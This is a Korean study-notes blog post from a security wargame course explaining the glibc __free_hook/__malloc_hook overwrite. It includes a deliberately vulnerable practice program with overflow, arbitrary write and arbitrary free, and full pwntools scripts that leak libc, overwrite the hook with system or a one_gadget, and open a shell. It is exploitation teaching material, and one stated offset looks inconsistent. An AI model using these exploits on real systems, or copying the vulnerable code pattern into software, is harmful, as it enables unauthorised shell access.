혜랑's STORY

[System Hacking STAGE 7] Exploit Tech: Hook Overwrite 본문

무지성 공부방/Dreamhack SystemHacking

[System Hacking STAGE 7] Exploit Tech: Hook Overwrite

hyerang0125 2022. 2. 9. 14:23
Hook Overwrite ; 
malloc과 free 함수를 후킹하여 각 함수가 호출될 때, 공격자가 작성한 악의적인 코드가 실행되게 하는 기법

※ Hooking(후킹) : 운영체제가 어떤 코드를 실행하려 할 때, 이를 낚아채어 다른 코드가 실행되게 하는 것

 메모리 함수 훅

malloc, free, realloc hook

C언어에서 메모리의 동적 할당과 해제를 담당하는 함수로는 malloc, free, realloc이 대표적이다. 각 함수는 libc.so에 구현되어 있다.

malloc, free, realloc

libc에는 이 함수들의 디버깅 편의를 위해 훅 변수가 정의되어 있다. 예를 들어 malloc 함수는 __malloc_hook 변수의 값이 NULL이 아닌지 검사하고 아니라면 malloc을 수행하기 전에 __malloc_hook이 가리키는 함수를 먼저 실행한다. 이때, malloc의 인자는 훅 함수에 전달된다. 같은 방식으로 free, realloc도 각각 __free_hook, __realloc_hook이라는 훅 변수를 사용한다.

// __malloc_hook
void *__libc_malloc (size_t bytes)
{
  mstate ar_ptr;
  void *victim;
  void *(*hook) (size_t, const void *)
    = atomic_forced_read (__malloc_hook); // malloc hook read
  if (__builtin_expect (hook != NULL, 0))
    return (*hook)(bytes, RETURN_ADDRESS (0)); // call hook
#if USE_TCACHE
  /* int_free also calls request2size, be careful to not pad twice.  */
  size_t tbytes;
  checked_request2size (bytes, tbytes);
  size_t tc_idx = csize2tidx (tbytes);
  // ...
}

훅 위치와 권한

__malloc_hook, __free_hook, __realloc_hook은 관련된 함수들과 마찬가지로 libc.so에 정의되어 있다.

__malloc_hook, __free_hook, __realloc_hook

이 변수들의 오프셋은 각각 0x3ed8e8, 0x3ebc32, 0x3ebc28인데, 섹션 헤더 정보를 참조하면 libc.so의 bss 섹션에 포함됨을 알 수 있다. 

hook 섹션

bss 섹션은 쓰기가 가능하므로 이 변수들의 값은 조작될 수 있다.

Hook Overwrite

앞서 배운 정보를 종합해보면, malloc, free, realloc에는 각가에 대응되는 훅 변수가 존재하며, libc의 bss 섹션에 위치하여 실행 중에 덮어쓰는 것이 가능하다. 또한, 훅을 실행할 때 기존 함수에 전달한 인자를 같이 전달해 주기 때문에 __malloc_hook을 system 함수의 주소로 덮고, malloc("/bin/sh")을 호출하여 셸을 획득하는 등의 공격이 가능하다.

아래 예제는 훅을 덮는 공격이 가능함을 보이는 Proof-of-Concept(PoC)이다. 

// Name: fho-poc.c
// Compile: gcc -o fho-poc fho-poc.c

#include <malloc.h>
#include <stdlib.h>
#include <string.h>

const char *buf="/bin/sh";

int main() {
  printf("\"__free_hook\" now points at \"system\"\n");
  __free_hook = (void *)system;
  printf("call free(\"/bin/sh\")\n");
  free(buf);
}

컴파일하고 실행하면, __free_hook을 system 함수로 덮고, free("/bin/sh")를 호출하자 셸이 획득되는 것을 확인할 수 있다.

fho-poc 실행 결과

Free Hook Overwrite

free 함수의 훅을 덮는 공격을 실습해 볼 것이다. 아래는 실습에 사용할 코드이다.

// Name: fho.c
// Compile: gcc -o fho fho.c

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
  char buf[0x30];
  unsigned long long *addr;
  unsigned long long value;
  
  setvbuf(stdin, 0, _IONBF, 0);
  setvbuf(stdout, 0, _IONBF, 0);
  
  puts("[1] Stack buffer overflow");
  printf("Buf: ");
  read(0, buf, 0x100);
  printf("Buf: %s\n", buf);
  
  puts("[2] Arbitary-Address-Write");
  printf("To write: ");
  scanf("%llu", &addr);
  printf("With: ");
  scanf("%llu", &value);
  printf("[%p] = %llu\n", addr, value);
  *addr = value;
  
  puts("[3] Arbitrary-Address-Free");
  printf("To free: ");
  scanf("%llu", &addr);
  free(addr);
  
  return 0;
}

보호 기법

모든 보호 기법이 적용되어 있다.

코드 분석

  • 16~19 줄 : 매우 큰 스택 버퍼 오버플로우가 발생한다. 그러나 알고 있는 정보가 없으므로 카나리를 올바르게 덮을 수 없고, 반환 주소도 유의미한 값으로 조작할 수 없다. 그택에 있는 데이터를 읽는데 사용할 수 있을 것이다.
  • 21~27 줄 : 주소를 입력하고, 그 주소에 임의의 값을 쓸 수 있다.
  • 29~32 줄 : 주소를 입력하고, 그 주소의 메모리를 해제할 수 있다.

공격 수단

[1] 스택의 어떤 값을 읽을 수 있다.

[2] 임의 주소에 임의 값을 쓸 수 있다.

[3] 임의 주소를 해제할 수 있다.

설계

1. 라이브러리의 변수 및 함수들의 주소 구하기

__free_hook, system 함수, "/bin/sh" 문자열은 libc.so에 정의되어 있으므로, 매핑된 libc.so안의 주소를 구해야 이들의 주소를 계산할 수 있다. [1]을 이용하면 스택의 값을 읽을 수 있는데, 스택에는 libc의 주소가 있을 가능성이 매우 크다. 특히, main 함수는 __libc_start_main 이라는 라이브러리 함수가 호출하므로 main 함수에서 반환 주소를 읽으면, 그 주소를 기반으로 필요한 변수와 함수들의 주소를 계산할 수 있을 것이다.

2. 셸 획득

[2] 에서 __free_hook의 값을 system 함수의 주소로 덮어쓰고, [3]에서 "/bin/sh"를 해제하게 하면 system("/bin/sh")가 호출되어 셸을 획득할 수 있다.

익스플로잇

1. 라이브러리의 변수 및 함수들의 주소 구하기

반환 주소를 읽어서 라이브러리의 변수 및 함수들의 주소를 구할 수 있다. gdb로 main 함수의 반환 주소인 libc_start_main을 읽은 다음, 그 값에서 libc의 매핑 주소를 빼면 libc와 반환 주소의 오프셋을 구할 수 있다. (2가지 주소는 모두 libc에 함께 매핑되어있는 주소이기 때문이다.) 익스플로잇에서는 그 오프셋을 이용하여 libc의 매핑 주소를 계산할 수 있다.

__libc_start_main + 231

익스플로잇 코드
from pwn import *

#context.log_level = 'debug'

p = process('./fho')
e = ELF('./fho')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')

# [1] Leak libc base
buf = b"A"*0x48
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
libc_start_main_xx = u64(p.recvline()[:-1] + b'\x00'*2)
libc_base = libc_start_main_xx - (libc.symbols["__libc_start_main"] + 0xe7) #__libc_start_main + 231
system = libc_base + libc.symbols["system"]
free_hook = libc_base + libc.symbols["__free_hook"]
binsh = libc_base + next(libc.search(b"/bin/sh"))

print('[+] libc_base: ' + hex(libc_base))
print('[+] system: ' + hex(system))
print('[+] __free_hook: ' + hex(free_hook))
print('[+] /bin/sh: ' + hex(binsh))
실행 결과

2. 셸 획득

구해낸 __free_hook, system 함수, "/bin/sh" 문자열의 주소를 이용하면 셸을 획득할 수 있다.

from pwn import *

#context.log_level = 'debug'

p = process('./fho')
e = ELF('./fho')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')

# [1] Leak libc base
buf = b"A"*0x48
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
libc_start_main_xx = u64(p.recvline()[:-1] + b'\x00'*2)
libc_base = libc_start_main_xx - (libc.symbols["__libc_start_main"] + 0xe7)
system = libc_base + libc.symbols["system"]
free_hook = libc_base + libc.symbols["__free_hook"]
binsh = libc_base + next(libc.search(b"/bin/sh"))

print('[+] libc_base: ' + hex(libc_base))
print('[+] system: ' + hex(system))
print('[+] __free_hook: ' + hex(free_hook))
print('[+] /bin/sh: ' + hex(binsh))

# [2] Overwrite '__free_hook' with 'system'
p.sendlineafter("To write: ", str(free_hook))
p.sendlineafter("With: ", str(system))

# [3] Exploit
p.sendlineafter("To free: ", str(binsh))

p.interactive()
실행 결과

 

+a, one_gadget

one_gadget

one_gadget 또는 magic_gadget은 실행하면 셸이 획득되는 코드 뭉치를 말한다. 이 도구를 사용하면 libc에서 쉽게 one_gadget을 찾을 수 있다.

https://github.com/david942j/one_gadget

one_gadget은 함수에 인자를 전달하기 어려울 때 유용하게 사용될 수 있다. 예를 들어 __malloc_hook을 덮을 수 있는데, malloc을 호출할 때 인자를 검사해서 작은 정수밖에 입력할 수 없는 상황이라면 "/bin/sh"를 인자로 전달하기가 매우 어렵다. 이럴때 제약 조건을 만족하는 one_gadget이 존재한다면, 이를 호출해서 셸을 획득할 수 있다.

one_gadget

one_gadget 실습

from pwn import *

#context.log_level = 'debug'

p = process('./fho')
e = ELF('./fho')
libc = ELF('/lib/x86_64-linux-gnu/libc-2.27.so')

# [1] Leak libc base
buf = b"A"*0x48
p.sendafter("Buf: ", buf)
p.recvuntil(buf)
libc_start_main_xx = u64(p.recvline()[:-1] + b'\x00'*2)
libc_base = libc_start_main_xx - (libc.symbols["__libc_start_main"] + 0xe7)
#system = libc_base + libc.symbols["system"]
free_hook = libc_base + libc.symbols["__free_hook"]
#binsh = libc_base + next(libc.search(b"/bin/sh"))
one_gadget = libc_base + 0x4f432

print('[+] libc_base: ' + hex(libc_base))
#print('[+] system: ' + hex(system))
print('[+] __free_hook: ' + hex(free_hook))
#print('[+] /bin/sh: ' + hex(binsh))
print('[+] one_gadget: ' + hex(one_gadget))

# [2] Overwrite '__free_hook' with 'system'
p.sendlineafter("To write: ", str(free_hook))
#p.sendlineafter("With: ", str(system))
p.sendlineafter("With: ", str(one_gadget))

# [3] Exploit
p.sendlineafter("To free: ", str(0xdeadbeef)) # dosen't matter

p.interactive()
실습 결과